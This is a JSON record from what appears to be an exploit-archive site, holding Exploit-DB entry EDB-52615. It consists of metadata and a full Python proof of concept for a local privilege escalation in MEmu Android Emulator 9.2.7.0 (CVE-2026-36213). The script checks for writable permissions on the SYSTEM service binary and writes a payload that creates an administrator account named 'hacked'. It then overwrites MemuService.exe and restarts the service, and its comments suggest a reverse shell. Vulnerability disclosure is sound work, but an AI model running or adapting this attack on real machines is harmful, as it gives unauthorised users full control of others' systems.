{"exploit":{"id":"EDB-52615","name":"MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation (LPE)","description":"MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation (LPE)","cves":["CVE-2026-36213"],"author":"Mohammad","published":"2026-07-06","platform":"windows","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52615","path":"exploits/windows/local/52615.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52615.py","vulnerabilities":[{"id":"CVE-2026-36213","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue in Microvirt MEmu Android Emulator 9.2.7.0 allows a local attacker to escalate privileges via the MemuService.exe component.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-36213","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-36213"},"updatedAt":"2026-06-16T13:15:37.612Z","retrievedAt":"2026-11-25T16:13:47.501Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52615.png?v=2","url":"https://exploitbin.com/exploits/EDB-52615","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52615/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52615/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation\n# Google Dork: N/A\n# Date: 2026-06-16\n# Exploit Author: Mohammad\n# Vendor Homepage: https://www.memuplay.com\n# Software Link: https://www.memuplay.com/download.html\n# Version: 9.2.7.0\n# Tested on: Windows 10 x64 / Windows 11 x64\n# CVE: CVE-2026-36213\n\n###############################################\n# Vulnerability Description\n###############################################\n#\n# MEmu Android Emulator 9.2.7.0 installs a Windows\n# service named \"MEmuSVC\" that runs with\n# NT AUTHORITY\\SYSTEM (LocalSystem) privileges.\n#\n# The service binary located at:\n#   C:\\Program Files\\Microvirt\\MEmu\\MemuService.exe\n#\n# is installed with insecure NTFS permissions,\n# granting FullControl (F) to low-privileged groups:\n#   - BUILTIN\\Users\n#   - Everyone\n#\n# A low-privileged local user can replace the service\n# binary with a malicious executable.\n# Upon service restart, the malicious binary executes\n# with NT AUTHORITY\\SYSTEM privileges.\n#\n# Vulnerability Type : Incorrect Access Control\n# CWE                : CWE-732 (Incorrect Permission\n#                      Assignment for Critical Resource)\n# CVSS v3.1 Score    : 7.8 HIGH\n# CVSS Vector        : AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n#\n###############################################\n# Verification - Check Permissions\n###############################################\n#\n# Run the following command to verify vulnerability:\n#\n#   icacls \"C:\\Program Files\\Microvirt\\MEmu\\MemuService.exe\"\n#\n# Vulnerable output:\n#   C:\\Program Files\\Microvirt\\MEmu\\MemuService.exe\n#   BUILTIN\\Users:(F)\n#   Everyone:(F)\n#   NT AUTHORITY\\SYSTEM:(F)\n#   BUILTIN\\Administrators:(F)\n#\n###############################################\n# Proof of Concept\n###############################################\n\nimport os\nimport sys\nimport shutil\nimport subprocess\nimport ctypes\n\n# -----------------------------------------------\n# Step 1: Check if running as low-privileged user\n# -----------------------------------------------\ndef is_admin():\n    try:\n        return ctypes.windll.shell32.IsUserAnAdmin()\n    except:\n        return False\n\n# -----------------------------------------------\n# Step 2: Verify vulnerable permissions on binary\n# -----------------------------------------------\ndef check_permissions(target_path):\n    print(\"[*] Checking permissions on service binary...\")\n    print(f\"[*] Target: {target_path}\\n\")\n\n    result = subprocess.run(\n        [\"icacls\", target_path],\n        capture_output=True,\n        text=True\n    )\n\n    output = result.stdout\n    print(output)\n\n    # Check for vulnerable permissions\n    vulnerable = False\n    dangerous_groups = [\"BUILTIN\\\\Users\", \"Everyone\"]\n\n    for group in dangerous_groups:\n        if group in output and \"(F)\" in output:\n            print(f\"[!] VULNERABLE: {group} has FullControl (F)\")\n            vulnerable = True\n\n    return vulnerable\n\n# -----------------------------------------------\n# Step 3: Create malicious payload\n#         (در محیط واقعی اینجا payload قرار میگیره)\n# -----------------------------------------------\ndef create_payload(payload_path):\n    print(\"\\n[*] Creating malicious payload...\")\n\n    # این یه نمونه سادهست\n    # در محیط واقعی اینجا کد مخرب قرار میگیره\n    # مثلاً reverse shell یا user creation\n    payload_code = '''\nimport os\n# Example: Add new admin user\nos.system(\"net user hacked Password123! /add\")\nos.system(\"net localgroup administrators hacked /add\")\nprint(\"[+] Payload executed as NT AUTHORITY\\\\SYSTEM\")\n'''\n\n    # کامپایل یا آمادهسازی payload\n    with open(payload_path, \"w\") as f:\n        f.write(payload_code)\n\n    print(f\"[+] Payload created at: {payload_path}\")\n\n# -----------------------------------------------\n# Step 4: Replace legitimate binary with payload\n# -----------------------------------------------\ndef replace_binary(target_path, payload_path):\n    print(\"\\n[*] Replacing service binary...\")\n\n    # Backup original binary\n    backup_path = target_path + \".bak\"\n\n    try:\n        shutil.copy2(target_path, backup_path)\n        print(f\"[+] Original backed up to: {backup_path}\")\n\n        shutil.copy2(payload_path, target_path)\n        print(f\"[+] Binary replaced successfully!\")\n        return True\n\n    except PermissionError:\n        print(\"[-] Permission denied - Not vulnerable\")\n        return False\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n        return False\n\n# -----------------------------------------------\n# Step 5: Restart service to trigger execution\n# -----------------------------------------------\ndef restart_service(service_name):\n    print(f\"\\n[*] Restarting service: {service_name}\")\n\n    try:\n        subprocess.run(\n            [\"sc\", \"stop\", service_name],\n            capture_output=True\n        )\n        print(f\"[+] Service stopped\")\n\n        import time\n        time.sleep(2)\n\n        subprocess.run(\n            [\"sc\", \"start\", service_name],\n            capture_output=True\n        )\n        print(f\"[+] Service started\")\n        print(f\"[+] Payload should now execute as SYSTEM!\")\n        return True\n\n    except Exception as e:\n        print(f\"[-] Error restarting service: {e}\")\n        return False\n\n# -----------------------------------------------\n# Main Exploit Flow\n# -----------------------------------------------\ndef main():\n    print(\"=\" * 55)\n    print(\" CVE-2026-36213 - MEmu LPE PoC\")\n    print(\" MEmu Android Emulator 9.2.7.0\")\n    print(\" Researcher: Mohammad\")\n    print(\"=\" * 55)\n\n    # Config\n    TARGET_SERVICE = \"MEmuSVC\"\n    TARGET_BINARY  = (\n        r\"C:\\Program Files\\Microvirt\\MEmu\\MemuService.exe\"\n    )\n    PAYLOAD_PATH   = r\"C:\\Temp\\payload.exe\"\n\n    # Check not running as admin\n    if is_admin():\n        print(\"[!] Run this as a LOW-PRIVILEGED user!\")\n        print(\"[!] This PoC demonstrates LPE\")\n        sys.exit(1)\n\n    print(f\"[*] Running as: {os.getenv('USERNAME')}\")\n    print(f\"[*] Admin    : {is_admin()} (should be False)\\n\")\n\n    # Step 1: Verify vulnerability\n    if not check_permissions(TARGET_BINARY):\n        print(\"\\n[-] Target does not appear vulnerable\")\n        print(\"[-] Permissions may have been fixed\")\n        sys.exit(0)\n\n    print(\"\\n[+] Target is VULNERABLE!\")\n\n    # Step 2: Create payload\n    create_payload(PAYLOAD_PATH)\n\n    # Step 3: Replace binary\n    if not replace_binary(TARGET_BINARY, PAYLOAD_PATH):\n        print(\"\\n[-] Exploit failed at binary replacement\")\n        sys.exit(1)\n\n    # Step 4: Trigger execution\n    restart_service(TARGET_SERVICE)\n\n    print(\"\\n[+] Exploit completed!\")\n    print(\"[+] Check if payload executed successfully\")\n    print(\"=\" * 55)\n\nif __name__ == \"__main__\":\n    main()\n\n###############################################\n# Detection Script\n###############################################\n#\n# Automated detection tool available at:\n# https://github.com/sec-zone/Hijack-service-binaries\n#\n###############################################\n# Disclosure Timeline\n###############################################\n#\n# 2026-02-20 → Vulnerability discovered\n# 2026-02-20 → CVE-2026-36213 assigned by MITRE\n# 2026-06-11 → Vendor (Microvirt) notified\n# 2026-06-16 → Public disclosure\n#\n###############################################\n# References\n###############################################\n#\n# [1] CWE-732: Incorrect Permission Assignment\n#     https://cwe.mitre.org/data/definitions/732.html\n#\n# [2] CVE-2026-36213\n#     https://www.cve.org/CVERecord?id=CVE-2026-36213\n#\n# [3] Detection Script\n#     https://github.com/sec-zone/Hijack-service-binaries\n#\n###############################################","sha256":"dc8e5bb1f7b9df38bcddcb17f040de0443c8d31d30a5ec88c6262af95c9d0f19","bytes":7669,"fetchedAt":"2026-11-26T08:57:09.063Z","encoding":"utf-8 (display only; download retains original bytes)"}